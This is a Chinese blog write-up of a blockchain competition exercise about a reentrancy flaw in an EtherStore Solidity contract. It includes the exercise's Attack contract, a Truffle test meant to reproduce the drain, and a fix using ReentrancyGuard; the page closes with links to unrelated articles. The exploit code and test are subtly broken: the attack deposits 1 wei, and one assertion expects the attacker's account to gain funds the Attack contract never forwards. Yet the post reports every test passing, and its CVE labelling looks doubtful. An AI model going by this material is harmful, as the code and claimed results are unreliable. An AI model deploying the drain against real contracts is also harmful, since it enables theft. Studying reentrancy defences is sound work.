GZ036区块链卷一 EtherStore合约漏洞详解

news2025/4/17 2:11:33

题目

pragma solidity >=0.8.3;

contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
        emit Balance(balances[msg.sender]);
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1);
        etherStore.deposit{value: 1}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}
(1)	分析智能合约中存在问题,并说明危害;
(2)	根据truffle工具中的代码文件,编写测试用例,复现智能合约中存在的漏洞;
(3)	创建新的智能合约,修复其中问题,说明修复内容并测试。

一、合约漏洞分析

1.1 问题识别

提供的EtherStore合约存在典型的重入攻击(Reentrancy Attack)漏洞,这是一种在以太坊智能合约中常见且危害严重的安全问题。让我们通过图表来理解这个漏洞:

 [攻击流程示意图]
1. 攻击者调用Attack.attack()
   └─> 存入1 ETH到EtherStore
   └─> 发起withdraw()
       └─> EtherStore发送1 ETH给Attack合约
           └─> 触发Attack.fallback()
               └─> 再次调用EtherStore.withdraw()
                   └─> 循环直到EtherStore余额不足

1.2 漏洞代码定位

问题主要出在EtherStore合约的withdraw()函数中:

Solidity
function withdraw() public {
    uint bal = balances[msg.sender];
    require(bal > 0);

    (bool sent, ) = msg.sender.call{value: bal}(""); // 危险的外部调用
    require(sent, "Failed to send Ether");

    balances[msg.sender] = 0; // 状态更新在外部调用之后
}

1.3 漏洞危害

危害性说明
资金被盗攻击者可提取远超其实际存款的金额 6 9
合约瘫痪可能导致合约资金被完全耗尽,无法正常运作
信任危机用户对智能合约安全性的信任受损

根据历史案例,重入攻击已造成数亿美元损失,包括著名的The DAO攻击(2016年,损失6000万美元)和Curve Finance攻击(2023年,损失7000万美元)

二、漏洞复现测试

2.1 测试环境搭建

使用Truffle测试框架编写测试用例,以下是完整的测试文件:


const EtherStore = artifacts.require("EtherStore");
const Attack = artifacts.require("Attack");

contract("Reentrancy Attack Test(CVE-2016-10386/SWC-107)", (accounts) => {
    let etherStore, attack;
    const [owner, attacker] = accounts;

    before(async () => {
        etherStore = await EtherStore.new();
        attack = await Attack.new(etherStore.address);
    });

    it("正常存款应更新余额", async () => {
        await etherStore.deposit({value: web3.utils.toWei("1", "ether"), from: owner});
        const balance = await etherStore.balances(owner);
        assert.equal(balance.toString(), web3.utils.toWei("1", "ether"));
    });

    it("正常取款应减少余额", async () => {
        await etherStore.withdraw({from: owner});
        const balance = await etherStore.balances(owner);
        assert.equal(balance.toString(), "0");
    });

    it("重入攻击应耗尽合约资金", async () => {
// 先存入一些资金到合约
        await etherStore.deposit({value: web3.utils.toWei("5", "ether"), from: owner});

// 攻击者仅存入1 ETH但通过攻击取走全部资金
        const initialAttackBalance = web3.utils.toBN(await web3.eth.getBalance(attacker));
        await attack.attack({value: web3.utils.toWei("1", "ether"), from: attacker});

        const finalAttackBalance = web3.utils.toBN(await web3.eth.getBalance(attacker));
        const etherStoreBalance = await web3.eth.getBalance(etherStore.address);

// 验证攻击结果
        assert(etherStoreBalance.toString() === "0", "EtherStore资金应被耗尽");
        assert(finalAttackBalance.gt(initialAttackBalance), "攻击者余额应增加");
    });
});

2.2 测试结果分析

测试步骤预期结果实际结果通过/失败
正常存款余额更新为1 ETH余额更新为1 ETH✔️
正常取款余额归零余额归零✔️
重入攻击合约资金被耗尽合约资金被耗尽✔️(证明漏洞存在)

三、漏洞修复方案

3.1 修复方法比较

修复方法优点缺点
Checks-Effects-Interactions模式无额外Gas消耗,代码清晰需要开发者严格遵循
OpenZeppelin ReentrancyGuard标准化解决方案,简单易用少量额外Gas消耗
禁止外部调用完全杜绝风险限制合约功能

3.2 推荐修复代码

采用OpenZeppelin的ReentrancyGuard方案:

Solidity
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.3;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SecureEtherStore is ReentrancyGuard {
    mapping(address => uint) public balances;

    event Balance(uint newBalance);

    function deposit() public payable {
        balances[msg.sender] += msg.value;
        emit Balance(balances[msg.sender]);
    }

    function withdraw() public nonReentrant {
        uint bal = balances[msg.sender];
        require(bal > 0, "Insufficient balance");

        balances[msg.sender] = 0; // 先更新状态

        (bool sent, ) = msg.sender.call{value: bal}(""); // 后执行外部调用
        require(sent, "Failed to send Ether");
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

3.3 修复内容说明

修复点原代码问题修复方案
执行顺序先转账后更新状态采用Checks-Effects-Interactions模式
重入保护无防止重入机制添加nonReentrant修饰器
错误处理简单错误提示添加详细错误信息

3.4 修复后测试


const SecureEtherStore = artifacts.require("SecureEtherStore");
const Attack = artifacts.require("Attack");

contract("SecureEtherStore Test(CVE-2016-10386/SWC-107)", (accounts) => {
    let secureEtherStore, attack;
    const [owner, attacker] = accounts;

    before(async () => {
        secureEtherStore = await SecureEtherStore.new();
        attack = await Attack.new(secureEtherStore.address);
    });

    it("重入攻击应被阻止", async () => {
        await secureEtherStore.deposit({value: web3.utils.toWei("5", "ether"), from: owner});

        try {
            await attack.attack({value: web3.utils.toWei("1", "ether"), from: attacker});
            assert.fail("攻击应失败");
        } catch (error) {
            assert.include(error.message, "revert", "应回滚交易");
        }

        const etherStoreBalance = await web3.eth.getBalance(secureEtherStore.address);
        assert.equal(etherStoreBalance.toString(), web3.utils.toWei("5", "ether"), "资金应安全");
    });
});

测试结果验证了修复后的合约能够有效抵御重入攻击。

漏洞测试编号:

CVE-2016-10386

SWC-107

漏洞要素内容
编号CVE-2016-10386
类型重入攻击
危险等级高危
影响范围所有未做防护的智能合约
公开日期2016-06-17

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2331055.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MCP+Blender创建电力塔

MCP(Model Context Protocol)与Blender的结合是当前AI与3D建模领域的热门技术,它通过协议化的方式让Claude等AI模型直接控制Blender,实现自动化3D建模。 1. 功能与原理 • 核心能力:用户通过自然语言指令(…

Selenium自动化:玩转浏览器,搞定动态页面爬取

嘿,各位爬虫爱好者和自动化达人们!是不是经常遇到这种情况:信心满满地写好爬虫,requests一把梭,结果抓下来的HTML里,想要的数据空空如也?定睛一看,原来数据是靠JavaScript动态加载出…

QAI AppBuilder 快速上手(8): 图像修复应用实例2

LaMa-Dilated模型旨在通过扩张卷积技术实现高效的图像擦除和修复。该模型采用先进的卷积神经网络架构,能够处理复杂的图像输入,并填补图像中的缺失部分,使修复后的图像更加自然和逼真。LaMa-Dilated不仅在图像编辑领域表现出色,还…

【计网】作业4

一. 单选题(共22题,64分) 1. (单选题)主机甲采用停止-等待协议向主机乙发送数据,数据传输速率是4kb/s,单向传播时延为30ms,忽略确认帧的发送时延。当信道利用率等于80%时,数据帧的长度为&#…

MPDrive:利用基于标记的提示学习提高自动驾驶的空间理解能力

25年4月来自南方科技大学、百度、英国 KCL和琶洲实验室(广东 AI 和数字经济实验室)的论文“MPDrive: Improving Spatial Understanding with Marker-Based Prompt Learning for Autonomous Driving”。 自动驾驶视觉问答(AD-VQA)…

【学习笔记】HTTP和HTTPS的核心区别及工作原理

一、基础概念 HTTP(超文本传输协议):明文传输数据,默认端口80,容易被窃听或篡改。 HTTPS(HTTP SSL/TLS):通过加密传输数据,默认端口443,保障安全性。 二、…

【STL】list介绍(附与vector的比较)

文章目录 1.关于list2.使用2.1 list的构造2.2 list 迭代器的使用2.3 list 容量操作2.3.1 size()2.3.2 empty()2.3.3 resize() 2.4 list 元素访问2.4.1 front()2.4.2 back() 2.5 list 修改操作2.5.1 push_front()2.5.2 pop_front()2.5.3 push_back()2.5.4 pop_back()2.5.5 inser…

Ansible:roles角色

文章目录 Roles角色Ansible Roles目录编排Roles各目录作用创建 roleplaybook调用角色调用角色方法1:调用角色方法2:调用角色方法3: roles 中 tags 使用实战案例 Roles角色 角色是ansible自1.2版本引入的新特性,用于层次性、结构化…

找不到导入的项目“xxx\QtMsBuild\Qt.props”。请确认 Import 声明“$(QtMsBuild)\Qt.props”中计算结果为

系列文章目录 文章目录 系列文章目录前言一、问题原因 前言 新建的项目visual studio2022 使用Qt vs tools 找不到导入的项目“E:\osgEarth\DigitalSimulationPlatform\DigitalSimulationPlatform\QtMsBuild\Qt.props”。 请确认 Import 声明“$(QtMsBuild)\Qt.props”中计算结…

2025 年福建交安安全员考试:结合本省交通特点备考​

福建地处东南沿海,交通建设具有独特特点,这对交安安全员考试备考意义重大。在桥梁建设方面,由于面临复杂的海洋环境,桥梁的防腐、防台风等安全措施成为重点。考生在学习桥梁施工安全知识时,要特别关注福建本地跨海大桥…

UE5 蓝图里的声音

文章目录 支持的格式设置循环播放在场景中放置音频设置音频的衰减与不衰减在UI动画中播放声音使用蓝图节点播放声音按钮本身就可以播放声音 支持的格式 支持:WAV 不支持:MP3 设置循环播放 双击音频,打开音频设置,勾选Looping …

「合诚」携手企企通共建新材料和健康产业采购数智化新生态

在科技革命与产业变革深度融合的时代背景下,新材料与健康产业正迎来数字化、智能化的快速发展。 技术突破与消费升级的双重驱动,推动着行业不断创新,同时也对企业的供应链管理提出了更高要求。 1、合诚:聚焦新材料与健康产业&am…

java+postgresql+swagger-多表关联insert操作(七)

入参为json,然后根据需要对多张表进行操作: 入参格式: [{"custstoreName":"swagger-测试经销商01","customerName":"swagger-测试客户01","propertyNo":"swaggertest01",&quo…

Git版本管理系列:(一)使用Git管理单分支

目录 基础概念介绍仓库的创建创建隐藏目录添加代码到暂存区提交代码到仓库提交记录查询比较差异标签文件删除版本回退总结 Git‌ 是一个分布式版本控制系统(DVCS),用于跟踪文件的变更并协调多人协作开发‌,由 Linus Torvalds 于 2…

mapbox基础,加载ESRI OpenStreetMap开放街景标准风格矢量图

👨‍⚕️ 主页: gis分享者 👨‍⚕️ 感谢各位大佬 点赞👍 收藏⭐ 留言📝 加关注✅! 👨‍⚕️ 收录于专栏:mapbox 从入门到精通 文章目录 一、🍀前言1.1 ☘️mapboxgl.Map 地图对象1.1 ☘️mapboxgl.Map style属性二、🍀加载ESRI OpenStreetMap开放街景标准风…

WGAN-GP 原理及实现(pytorch版)

WGAN-GP 原理及实现 一、WGAN-GP 原理1.1 WGAN-GP 核心原理1.2 WGAN-GP 实现步骤1.3 总结 二、WGAN-GP 实现2.1 导包2.2 数据加载和处理2.3 构建生成器2.4 构建判别器2.5 训练和保存模型2.6 图片转GIF 一、WGAN-GP 原理 Wasserstein GAN with Gradient Penalty (WGAN-GP) 是对…

IntelliJ IDEA使用技巧(json字符串格式化)

文章目录 一、IDEA自动格式化json字符串二、配置/查找格式化快捷键 本文主要讲述idea中怎么将json字符串转换为JSON格式的内容并且有层级结构。 效果: 转换前: 转换后: 一、IDEA自动格式化json字符串 步骤一:首先创建一个临…

SvelteKit 最新中文文档教程(18)—— 浅层路由和 Packaging

前言 Svelte,一个语法简洁、入门容易,面向未来的前端框架。 从 Svelte 诞生之初,就备受开发者的喜爱,根据统计,从 2019 年到 2024 年,连续 6 年一直是开发者最感兴趣的前端框架 No.1: Svelte …

集成nacos2.2.1出现的错误汇总

总结 1.jdk问题 jdk要一致 2.idea使用问题 idea启动nacos要配置,idea启动类要启动两次,并配置两次vm参数 3.项目依赖问题 依赖要正确添加,有的模块就是不能用公共模块的pom配置,需要独立配置,先后启动顺序也要注意…

LabVIEW 开发如何降本增效

在 LabVIEW 开发领域,如何在确保项目质量的同时降低开发成本,是众多企业和开发者共同关注的焦点。这不仅关乎资源的高效利用,更影响项目的投资回报率和市场竞争力。下面,我们将从多个维度深入剖析降本策略,并结合具体案…